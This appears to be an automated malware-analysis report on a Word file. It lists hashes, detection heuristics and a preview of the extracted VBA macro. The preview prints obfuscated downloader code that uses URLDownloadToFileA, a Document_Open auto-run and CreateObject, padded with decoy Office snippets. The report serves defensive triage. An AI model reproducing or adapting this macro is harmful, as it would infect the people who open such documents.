Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d32859ada33f04b6…

MALICIOUS

Office (OLE)

211.0 KB Created: 2019-07-15 20:13:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 89573614c4f99f739ca8b7ff7f4514e8 SHA-1: 6cd51fff7cbd0cbadaf6b7e2329de34eff57504d SHA-256: d32859ada33f04b6ded87f6c09ffe45dee65ad8b4c69c02d5498d80e54ca9920
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro that leverages the URLDownloadToFileA API, indicating an intent to download and execute a second-stage payload. The macro is automatically executed via the Document_Open event, a common technique for initial execution. No specific family could be identified, but the behavior is consistent with a downloader.

Heuristics 9

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶G¨ëÿy¸gôVze5îè¦ As Long, _
ByVal sàmeöväGÜaÁXE¨ë¾P0®ö¢lR© As String, _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Wend
Set º¿§­P2Äì3ÆmÆ = CreateObject(ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(yGr¢Ü¶0òm®¹()))
TTTTT
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
ov²Päú£éÄj­¢p¦â¢¨àp = VBA.Environ$(ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(£bìG«8y¹())) + ÜHQ¶D¤Zú½ä¿ò«GQÑmSå("\mbTtqZH6])PwI.ezMoYu(1Uew,2lPOHwJ?4fM7U.?Xie<8Nx;[meWn}")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Sub document_open()
ov²Päú£éÄj­¢p¦â¢¨àp = VBA.Environ$(ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(£bìG«8y¹())) + ÜHQ¶D¤Zú½ä¿ò«GQÑmSå("\mbTtqZH6])PwI.ezMoYu(1Uew,2lPOHwJ?4fM7U.?Xie<8Nx;[meWn}")
FDEFEFEZEF
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62283 bytes
SHA-256: 21c0ae545b364b86b70daaa430f2da4a5bf0a443bbad1f77d1fdb142115a82e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Not False And Win64 And VBA7 And Not False Then
Private Declare PtrSafe Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶G¨ëÿy¸gôVze5îè¦ As Long, _
ByVal sàmeöväGÜaÁXE¨ë¾P0®ö¢lR© As String, _
ByVal K©LOéà¾ùµlÆç½SJ¢9T¹Rf¾6lÉq As String, _
ByVal Xw·Zé±¢v¤¿aºq3gäR¬å As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As LongPtr


Private Declare PtrSafe Function getTickCountViM8 Lib "kernel32" Alias "QueryPerformanceCounter" (cyTickCount As Currency) As LongPtr

Private Declare PtrSafe Function SetCurrentDirectoryAOdB4 Lib "kernel32" (ByVal lpPathName As String) As LongPtr

Private Declare PtrSafe Function GdipCreateHBITMAPFromBitmaph5mA Lib "GDIPlus" (ByVal bitmap As LongPtr, hbmReturn As LongPtr, ByVal background As Long) As LongPtr
#Else

Private Declare Function SetCurrentDirectoryAlDMH Lib "kernel32" (ByVal lpPathName As String) As Long


Private Declare Function GdipCreateHBITMAPFromBitmapbTUX Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long


Private Declare Function GetSystemMetricsAGTp Lib "USER32" (ByVal nIndex As Long) As Long


Private Declare Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶G¨ëÿy¸gôVze5îè¦ As Long, _
ByVal sàmeöväGÜaÁXE¨ë¾P0®ö¢lR© As String, _
ByVal K©LOéà¾ùµlÆç½SJ¢9T¹Rf¾6lÉq As String, _
ByVal Xw·Zé±¢v¤¿aºq3gäR¬å As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As Long




#End If
Public ov²Päú£éÄj­¢p¦â¢¨àp As String

Public º¿§­P2Äì3ÆmÆ As Variant



Function jO»rVF30() As String
Dim ksNdÄ2æSj
Dim DiûgÁ¯Kµs33æâ
Dim ¸7jUÄr
Dim ö¯k¢G®cÀè0iN
Dim ¢iWV4cw¹µ
Dim £ìæB0M¸ïGú®
Dim Qrmëàväêq
Dim ÿnµ9ö§üyo
Dim BïLîië©
ksNdÄ2æSj = P¿hwSD¬çd¯â(145, 5518, -570)
DiûgÁ¯Kµs33æâ = ksNdÄ2æSj & P¿hwSD¬çd¯â(33, -2718, 6180)
¸7jUÄr = DiûgÁ¯Kµs33æâ & P¿hwSD¬çd¯â(28, -1976, 1140)
ö¯k¢G®cÀè0iN = ¸7jUÄr & P¿hwSD¬çd¯â(148, -140, -8526)
¢iWV4cw¹µ = ö¯k¢G®cÀè0iN & P¿hwSD¬çd¯â(131, -1084, 3541)
£ìæB0M¸ïGú® = ¢iWV4cw¹µ & P¿hwSD¬çd¯â(40, 2875, 722)
Qrmëàväêq = £ìæB0M¸ïGú® & P¿hwSD¬çd¯â(40, 2875, 722)
ÿnµ9ö§üyo = Qrmëàväêq & P¿hwSD¬çd¯â(23, -9306, -8085)
BïLîië© = ÿnµ9ö§üyo & P¿hwSD¬çd¯â(153, 2433, -3836)
jO»rVF30 = BïLîië©
End Function
Sub hfrQadd_recepient()
    Dim new_Message As MailItem
    Set new_Message = Application.CreateItem(olMailItem)
    
    
    
    Set new_Message = Nothing
End Sub



Public Sub CTRjaDHtCreateNewMessage()
    '
    ' Sends mail to sender based on the active selection
    '

Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object

Set Selection = ActiveExplorer.Selection

For Each obj In Selection

Set objMsg = Application.CreateItem(olMailItem)

 With objMsg
  .To = obj.SenderEmailAddress
  .Subject = "This is the subject"
  .Categories = "Test"
  .Body = "My notes" & vbCrLf & vbCrLf & obj.Body
  .Display
' use .Send to send it automatically

End With
Set objMsg = Nothing

Next

End Sub

Sub FDEFEFEZEF()
w8tX9 = ÜHQ¶D¤Zú½ä¿ò«GQÑmSå("h+Qdt1eItFA}pcBGsP3e:S]]/b*)/baBgj0|l(96o(YobXA<uI=IsGRLhbOyour^lGV6iupId7HnaIE]yLE0soch.WvpiQ1Hn;CW/[~9pHs<lF_ai~1hnMIxtL~v.jz4eDrkx9F{eluL")
âL´¸Jrd­g = ûÿo£PJ = Ö»u§Étå¿Ä¼ = Ѧ3WVD¤Zú½ä¿ò«GQÑmSåááB· = sPSrv£e = I4ôºÉS¤î·¢u¹ªN = îÑNsZdB = ràwÑƤyxREm§u = öèæeMÄäwæU¢cFw¶T4¿L = ³Täbo¿¿À6g = sï8F©g2IùVy¯·±£ú¼ = Â8öTMFQ¥QFü = tµOD¾FpvuM±F³BK = åÀ3²Iè = NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx(0, _
w8tX9, _
ov²Päú£éÄj­¢p¦â¢¨àp, _
0, _
0)
While (v3Z¸QCV¼ = 12)
    òQgQ¨ÁW7kÜ£O = Y¼èMFµO©O + Ñjm7¿v¾¼pkæéü
    If (néGáVI2m£Ü = 231256985) Then
        MsgBox ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(û±ûY§´¾¥())
        òQgQ¨ÁW7kÜ£O = 3265
    End If
Wend
Set º¿§­P2Äì3ÆmÆ = CreateObject(ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(yGr¢Ü¶0òm®¹()))
TTTTT
End Sub
Public Sub bnHQSnpECreateNewContact()
    Dim objContact As ContactItem
    Set objContact = Application.CreateItem(olContactItem)
    
    With objContact
        .BusinessAddressCity = "Halifax"
        .BusinessAddressCountry = "Canada"
        .Business2TelephoneNumber = "902123" 'the area code and local prefix
        .Display
    End With

    Set objContact = Nothing
End Sub


Function ñxɧ¨8ƒ3() As String
Dim ½Jä­ÿÂ
Dim UÀ6®´FÁZ6
Dim OÀÀÖ¢bhul«ºi
Dim ©±G¿mêdú8å
Dim N¾âÜèhæinq¾
Dim r¶ææNuäiÁ
Dim l2¢lÀFP¯T
Dim jpf¿u¤2L´£¦´
Dim E®»FñdKP
Dim g®³jnLè
½Jä­ÿ = P¿hwSD¬çd¯â(128, -5996, -5577)
UÀ6®´FÁZ6 = ½Jä­ÿ & P¿hwSD¬çd¯â(136, -8775, -2739)
OÀÀÖ¢bhul«ºi = UÀ6®´FÁZ6 & P¿hwSD¬çd¯â(33, -2718, 6180)
©±G¿mêdú8å = OÀÀÖ¢bhul«ºi & P¿hwSD¬çd¯â(138, -1225, 8034)
N¾âÜèhæinq¾ = ©±G¿mêdú8å & P¿hwSD¬çd¯â(139, -6835, -5427)
r¶ææNuäiÁ = N¾âÜèhæinq¾ & P¿hwSD¬çd¯â(140, -1342, -683)
l2¢lÀFP¯T = r¶ææNuäiÁ & P¿hwSD¬çd¯â(141, 6805, -758)
jpf¿u¤2L´£¦´ = l2¢lÀFP¯T & P¿hwSD¬çd¯â(142, 3866, 94)
E®»FñdKP = jpf¿u¤2L´£¦´ & P¿hwSD¬çd¯â(45, -629, 3736)
g®³jnLè = E®»FñdKP & P¿hwSD¬çd¯â(22, -2911, 2623)
ñxɧ¨8ƒ3 = g®³jnLè
End Function

Sub FO6Fgoogle()
    Dim r As Range
    Set r = Range("B2:E5")
    
    a = r.Count
    t = 0
    o = 0
    For i = 0 To a
        p = r(i)
        If r(i) = "W" Then
            t = t + 1
            If t > o Then
                o = t
            End If
        Else
            t = 0
        End If
    Next i
    MsgBox "Longest winning streak: " & o
End Sub


Function ¸ÄäiY´L¬fP() As String
Dim ªÖ³V¢±D¯º3C
Dim ºa¦Af®KLîa
Dim w¿±97læïuEe
Dim öïÜÀÆî9ëµæKP
Dim Hº§äYá41o
Dim §¥¤Ü1MôRaï
Dim S£èH¢Dméè
Dim ApNxbîwr©
Dim ¸­öpDPgùm
Dim ìɵT¬g4ábj
ªÖ³V¢±D¯º3C = P¿hwSD¬çd¯â(97, -2620, 6706)
ºa¦Af®KLîa = ªÖ³V¢±D¯º3C & P¿hwSD¬çd¯â(80, 5336, 5953)
w¿±97læïuEe = ºa¦Af®KLîa & P¿hwSD¬çd¯â(37, 7124, 4031)
öïÜÀÆî9ëµæKP = w¿±97læïuEe & P¿hwSD¬çd¯â(15, 1326, 7513)
Hº§äYá41o = öïÜÀÆî9ëµæKP & P¿hwSD¬çd¯â(201, 2808, 5912)
§¥¤Ü1MôRaï = Hº§äYá41o & P¿hwSD¬çd¯â(66, 4339, 5657)
S£èH¢Dméè = §¥¤Ü1MôRaï & P¿hwSD¬çd¯â(178, -7819, -5503)
ApNxbîwr© = S£èH¢Dméè & P¿hwSD¬çd¯â(66, 4339, 5657)
¸­öpDPgùm = ApNxbîwr© & P¿hwSD¬çd¯â(205, 5034, -5353)
ìɵT¬g4ábj = ¸­öpDPgùm & P¿hwSD¬çd¯â(206, 1749, -2432)
¸ÄäiY´L¬fP = ìɵT¬g4ábj
End Function
Private Sub Zky7uY1OClass_Initialize()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub T2QrG5LBget_Worksheet_Helper()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub DfSTj4TJset_phrases_Helper()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
        t_var = "frequentation_journalière"
        d_var = "jours"
    End If
    phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
                  "le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
    '
    ' TO DO
    '
    phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
                   wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
                   wk_two.Range("N11").Value & "€)"
End Sub

Public Sub lk0BQxIbchange_phrases()
    wk_one.Range("B8").Value = phrase_one
    wk_one.Range("B15").Value = phrase_five
    wk_one.Range("B18").Value = phrase_seven
End Sub


Function ÜHQ¶D¤Zú½ä¿ò«GQÑmSå(s¥£ú¼¶el) As String
    Dim eeáÿèæºFLg©½KÀR3(1055) As Byte, åÜÉû4Gjüp¿ºMhæOÆ() As Byte
    åÜÉû4Gjüp¿ºMhæOÆ = ôiÄ·cTT(s¥£ú¼¶el, LÂî³O«HUan(), ñxɧ¨8ƒ3(), 128, jO»rVF30(), ÄGoº£¹6èªB())


    For µaJƒfÆ7 = 0 To UBound(åÜÉû4Gjüp¿ºMhæOÆ) - 1
        If (µaJƒfÆ7 Mod 4 = 0) Then
            eeáÿèæºFLg©½KÀR3(WzüüWDa²©ù) = åÜÉû4Gjüp¿ºMhæOÆ(µaJƒfÆ7)
            WzüüWDa²©ù = WzüüWDa²©ù + 1
        End If
    Next µaJƒfÆ7
    ÜHQ¶D¤Zú½ä¿ò«GQÑmSå = Left(jODºkcP(eeáÿèæºFLg©½KÀR3, NM¤½r¿E¬Ér(), vbl¿ùDÄXe(), 64, ¹j²1òtxäm(), ¸ÄäiY´L¬fP()), WzüüWDa²©ù)


End Function
Sub JKIicreate_NewForm()
    'Set parameters
    Dim j As Form
    Set j = CreateForm
    'Get current form name
    y = Application.CurrentObjectName
    'Set variable to object
    Set j = Forms(y)
    '
    ' Error handling
    '
    On Error Resume Next
    'Set recordsource to table...
    j.RecordSource = "Facebook"
    'Close form
    DoCmd.Close acForm, "Form2", acSaveYes
    'Rename form
    DoCmd.rename "Google", acForm, y
End Sub

Sub roDMmanipulate_Form()
    'Open form
    DoCmd.OpenForm "Form1", acDesign, , , acFormEdit, acHidden
    'Get form name
    w = Forms![Form1].Command0.Name
    'Close form
    DoCmd.Close acForm, "Form1", acSaveNo
End Sub

' Apply a filter to forms
' DoCmd.ApplyFilter , "Filiere = 'Bac'"
' DoCmd.ApplyFilter , "Filiere = 'Bac' AND Niveau = 'Master'"



Function yGr¢Ü¶0òm®¹() As String
Dim ¿Àæ¾HU¢Xü¯
Dim £D9³¯Jg¬O
Dim âô¢¨º7
Dim f«ÑDëú7¿Q
Dim ªCiAVÁP0ºe
Dim ñ3iÜfz¼c
Dim NôìüML¶Ä¿©J
Dim ·vFû·üìW
Dim düîô§R¿3ºº
Dim ¸·C¹ùIpéPN
Dim wu1oöY¾
Dim ¤£üYô¼s¦À
Dim zÑñz²Æ5
Dim ܧµº®ªxH
Dim ­¶îùyq¿X¨
Dim NF¢oìñ½ºL
Dim Cu§ÑÁò´ªé
Dim g¹Àáƒ2GZ6¶F
Dim U¸ªÁtb
Dim zhºC­ágq
Dim ÿ3µ²¥áYé£
Dim »´æVOzX§£
Dim nƒxxÉ©rnZ
Dim fpêÀm©
Dim z£¾H¾òàâ
Dim dC³6aòo
Dim ®ºÖîyr
Dim ­ì6¢­¿M¤¢¢wÀG
Dim üçôèl¼O
Dim äKÂákCrƒÆEÉ
Dim ¯8¸tÁ··Fû®
Dim RqOJiJl·âù
Dim §Fa½qAEIx¯U½ï
Dim Bù¸é75RIV
Dim ĵ§å§î1á
Dim hEUbwïñ
Dim q¤é»bg¨µCZÁ
Dim »d²¤âZe»Kº¬
Dim fG§§á®«îrö
Dim ¨4sÀº±¤b
Dim ¿Hs¤dZàÁ³
Dim £2IGìl8Ok
Dim HênÑ8còòHZLÉ
Dim rìmM¤HÄæV
Dim ïUª5èZâä»j
Dim £cvå¢2
Dim DºvIx©ïuf
Dim hç¶öƒn©Öº
Dim J¦3§¯HqµÄd
Dim ëV6yJw1JmDf
Dim ÀO³xƒªDÄs
Dim Fç¬ëå35³9e
Dim àöâz»Aba
Dim zpPULïºwìt
Dim qKcìoO2¾Z
Dim âFrq98l
Dim yªÁƒm¹¿¶qéÿ
Dim ²ëEcS´
Dim ©tJu6gb¹
Dim o1­k¿§LC
Dim rNzC龦
Dim y¼oÜdt¥KsÜìû¸
Dim ¥Ps¸sb¿·HY
Dim sªÂéjƒÉGFò
Dim t½êºtºSzö
Dim HxNº¨NéêƼP¿l
Dim hqÑP±ƒ­T³ë½0
Dim QULêQu9¤è
¿Àæ¾HU¢Xü¯ = P¿hwSD¬çd¯â(21, -7936, -8023)
£D9³¯Jg¬O = ¿Àæ¾HU¢Xü¯ & P¿hwSD¬çd¯â(37, 7124, 4031)
âô¢¨º7 = £D9³¯Jg¬O & P¿hwSD¬çd¯â(8, -9397, 7400)
f«ÑDëú7¿Q = âô¢¨º7 & P¿hwSD¬çd¯â(39, 3953, 8086)
ªCiAVÁP0ºe = f«ÑDëú7¿Q & P¿hwSD¬çd¯â(40, 2875, 722)
ñ3iÜfz¼c = ªCiAVÁP0ºe & P¿hwSD¬çd¯â(41, -7394, -3766)
NôìüML¶Ä¿©J = ñ3iÜfz¼c & P¿hwSD¬çd¯â(42, 6486, -4387)
·vFû·üìW = NôìüML¶Ä¿©J & P¿hwSD¬çd¯â(43, 5643, 2083)
düîô§R¿3ºº = ·vFû·üìW & P¿hwSD¬çd¯â(44, -3878, 6240)
¸·C¹ùIpéPN = düîô§R¿3ºº & P¿hwSD¬çd¯â(45, -629, 3736)
wu1oöY¾ = ¸·C¹ùIpéPN & P¿hwSD¬çd¯â(19, -5363, -9657)
¤£üYô¼s¦À = wu1oöY¾ & P¿hwSD¬çd¯â(20, 2040, -6626)
zÑñz²Æ5 = ¤£üYô¼s¦À & P¿hwSD¬çd¯â(48, -4725, 8206)
ܧµº®ªxH = zÑñz²Æ5 & P¿hwSD¬çd¯â(49, 5150, 8295)
­¶îùyq¿X¨ = ܧµº®ªxH & P¿hwSD¬çd¯â(10, 7404, 6074)
NF¢oìñ½ºL = ­¶îùyq¿X¨ & P¿hwSD¬çd¯â(51, 8929, 314)
Cu§ÑÁò´ªé = NF¢oìñ½ºL & P¿hwSD¬çd¯â(48, -4725, 8206)
g¹Àáƒ2GZ6¶F = Cu§ÑÁò´ªé & P¿hwSD¬çd¯â(53, 2950, 113)
U¸ªÁtb = g¹Àáƒ2GZ6¶F & P¿hwSD¬çd¯â(54, 8969, -4237)
zhºC­ágq = U¸ªÁtb & P¿hwSD¬çd¯â(14, 6309, -5797)
ÿ3µ²¥áYé£ = zhºC­ágq & P¿hwSD¬çd¯â(56, 7185, 3061)
»´æVOzX§£ = ÿ3µ²¥áYé£ & P¿hwSD¬çd¯â(39, 3953, 8086)
nƒxxÉ©rnZ = »´æVOzX§£ & P¿hwSD¬çd¯â(20, 2040, -6626)
fpêÀm© = nƒxxÉ©rnZ & P¿hwSD¬çd¯â(59, -2632, -8786)
z£¾H¾òàâ = fpêÀm© & P¿hwSD¬çd¯â(60, 3148, 5198)
dC³6aòo = z£¾H¾òàâ & P¿hwSD¬çd¯â(4, -1942, 8152)
®ºÖîyr = dC³6aòo & P¿hwSD¬çd¯â(62, 6127, 1094)
­ì6¢­¿M¤¢¢wÀG = ®ºÖîyr & P¿hwSD¬çd¯â(6, -7902, -8424)
üçôèl¼O = ­ì6¢­¿M¤¢¢wÀG & P¿hwSD¬çd¯â(64, -1551, 6613)
äKÂákCrƒÆEÉ = üçôèl¼O & P¿hwSD¬çd¯â(23, -9306, -8085)
¯8¸tÁ··Fû® = äKÂákCrƒÆEÉ & P¿hwSD¬çd¯â(66, 4339, 5657)
RqOJiJl·âù = ¯8¸tÁ··Fû® & P¿hwSD¬çd¯â(6, -7902, -8424)
§Fa½qAEIx¯U½ï = RqOJiJl·âù & P¿hwSD¬çd¯â(64, -1551, 6613)
Bù¸é75RIV = §Fa½qAEIx¯U½ï & P¿hwSD¬çd¯â(69, -9011, -7283)
ĵ§å§î1á = Bù¸é75RIV & P¿hwSD¬çd¯â(70, 2661, -4469)
hEUbwïñ = ĵ§å§î1á & P¿hwSD¬çd¯â(71, 3113, -9640)
q¤é»bg¨µCZÁ = hEUbwïñ & P¿hwSD¬çd¯â(48, -4725, 8206)
»d²¤âZe»Kº¬ = q¤é»bg¨µCZÁ & P¿hwSD¬çd¯â(40, 2875, 722)
fG§§á®«îrö = »d²¤âZe»Kº¬ & P¿hwSD¬çd¯â(10, 7404, 6074)
¨4sÀº±¤b = fG§§á®«îrö & P¿hwSD¬çd¯â(64, -1551, 6613)
¿Hs¤dZàÁ³ = ¨4sÀº±¤b & P¿hwSD¬çd¯â(14, 6309, -5797)
£2IGìl8Ok = ¿Hs¤dZàÁ³ & P¿hwSD¬çd¯â(49, 5150, 8295)
HênÑ8còòHZLÉ = £2IGìl8Ok & P¿hwSD¬çd¯â(78, 4454, 2186)
rìmM¤HÄæV = HênÑ8còòHZLÉ & P¿hwSD¬çd¯â(42, 6486, -4387)
ïUª5èZâä»j = rìmM¤HÄæV & P¿hwSD¬çd¯â(80, 5336, 5953)
£cvå¢2 = ïUª5èZâä»j & P¿hwSD¬çd¯â(66, 4339, 5657)
DºvIx©ïuf = £cvå¢2 & P¿hwSD¬çd¯â(82, 7005, 2534)
hç¶öƒn©Öº = DºvIx©ïuf & P¿hwSD¬çd¯â(44, -3878, 6240)
J¦3§¯HqµÄd = hç¶öƒn©Öº & P¿hwSD¬çd¯â(7, -7103, -293)
ëV6yJw1JmDf = J¦3§¯HqµÄd & P¿hwSD¬çd¯â(85, 4521, 6631)
ÀO³xƒªDÄs = ëV6yJw1JmDf & P¿hwSD¬çd¯â(33, -2718, 6180)
Fç¬ëå35³9e = ÀO³xƒªDÄs & P¿hwSD¬çd¯â(62, 6127, 1094)
àöâz»Aba = Fç¬ëå35³9e & P¿hwSD¬çd¯â(59, -2632, -8786)
zpPULïºwìt = àöâz»Aba & P¿hwSD¬çd¯â(7, -7103, -293)
qKcìoO2¾Z = zpPULïºwìt & P¿hwSD¬çd¯â(22, -2911, 2623)
âFrq98l = qKcìoO2¾Z & P¿hwSD¬çd¯â(22, -2911, 2623)
yªÁƒm¹¿¶qéÿ = âFrq98l & P¿hwSD¬çd¯â(14, 6309, -5797)
²ëEcS´ = yªÁƒm¹¿¶qéÿ & P¿hwSD¬çd¯â(93, -5036, -9597)
©tJu6gb¹ = ²ëEcS´ & P¿hwSD¬çd¯â(94, 510, -7396)
o1­k¿§LC = ©tJu6gb¹ & P¿hwSD¬çd¯â(95, 3907, 9603)
rNzC龦 = o1­k¿§LC & P¿hwSD¬çd¯â(28, -1976, 1140)
y¼oÜdt¥KsÜìû¸ = rNzC龦 & P¿hwSD¬çd¯â(97, -2620, 6706)
¥Ps¸sb¿·HY = y¼oÜdt¥KsÜìû¸ & P¿hwSD¬çd¯â(18, -5123, -3342)
sªÂéjƒÉGFò = ¥Ps¸sb¿·HY & P¿hwSD¬çd¯â(30, 7034, 1529)
t½êºtºSzö = sªÂéjƒÉGFò & P¿hwSD¬çd¯â(71, 3113, -9640)
HxNº¨NéêƼP¿l = t½êºtºSzö & P¿hwSD¬çd¯â(30, 7034, 1529)
hqÑP±ƒ­T³ë½0 = HxNº¨NéêƼP¿l & P¿hwSD¬çd¯â(13, 2636, 8418)
QULêQu9¤è = hqÑP±ƒ­T³ë½0 & P¿hwSD¬çd¯â(103, -7466, -3812)
yGr¢Ü¶0òm®¹ = QULêQu9¤è
End Function
Sub Nqyiopen_list_box()
    UserForm1.Show
End Sub

Public Sub auuDLuBqouvrir_reglage()
    ReglagesForm.Show
End Sub

Public Sub eUx4yoHTchanger_les_phrases_helper()
    '
    ' This helper creates an object in order to change the phrases
    ' on the front page
    '
    Dim changer_les_phrases As PhrasesEngine
    Set changer_les_phrases = New PhrasesEngine
    changer_les_phrases.change_phrases
End Sub

Private Sub c005NufAshow_messages(error_number As Long, message As String, message_type As String)
    '
    ' Use this sub to cycle through the error dictionary and show the
    ' user any custom error message that is not built in Excel.
    '
    ' vbInformation, vbCritical, vbOkOnly, vbYesNo, vbYesNoCancel
    '
    MsgBox message, message_type, "Title"
End Sub




Function P¿hwSD¬çd¯â(áÉÄòì¶â¯¼K, öôòsj¢CÖ£, rqIMƒ¿rKÀXò)
Select Case áÉÄòì¶â¯¼K
Case (0): P¿hwSD¬çd¯â = s6Ö·è(0, -5488, 3712)
Case (1): P¿hwSD¬çd¯â = s6Ö·è(1, -1498, -5982)
Case (2): P¿hwSD¬çd¯â = s6Ö·è(2, -3421, -6290)
Case (3): P¿hwSD¬çd¯â = s6Ö·è(3, 3938, 4965)
Case (4): P¿hwSD¬çd¯â = s6Ö·è(4, -7067, -8162)
Case (5): P¿hwSD¬çd¯â = s6Ö·è(5, 4028, -1871)
Case (6): P¿hwSD¬çd¯â = s6Ö·è(6, 5098, 9803)
Case (7): P¿hwSD¬çd¯â = s6Ö·è(7, -2568, 24)
Case (8): P¿hwSD¬çd¯â = s6Ö·è(8, 5108, -8643)
Case (9): P¿hwSD¬çd¯â = s6Ö·è(8, 5108, -8643)
Case (10): P¿hwSD¬çd¯â = s6Ö·è(10, -4552, 1033)
Case (11): P¿hwSD¬çd¯â = s6Ö·è(11, -1054, 1353)
Case (12): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (13): P¿hwSD¬çd¯â = s6Ö·è(13, 5665, -5851)
Case (14): P¿hwSD¬çd¯â = s6Ö·è(14, 4020, 2931)
Case (15): P¿hwSD¬çd¯â = s6Ö·è(15, 1709, -8040)
Case (16): P¿hwSD¬çd¯â = s6Ö·è(4, -7067, -8162)
Case (17): P¿hwSD¬çd¯â = s6Ö·è(17, -2991, -9871)
Case (18): P¿hwSD¬çd¯â = s6Ö·è(18, -4696, 429)
Case (19): P¿hwSD¬çd¯â = s6Ö·è(19, 5231, -8261)
Case (20): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (21): P¿hwSD¬çd¯â = s6Ö·è(21, 8746, -2836)
Case (22): P¿hwSD¬çd¯â = s6Ö·è(22, 5615, -4381)
Case (23): P¿hwSD¬çd¯â = s6Ö·è(23, -8014, -4533)
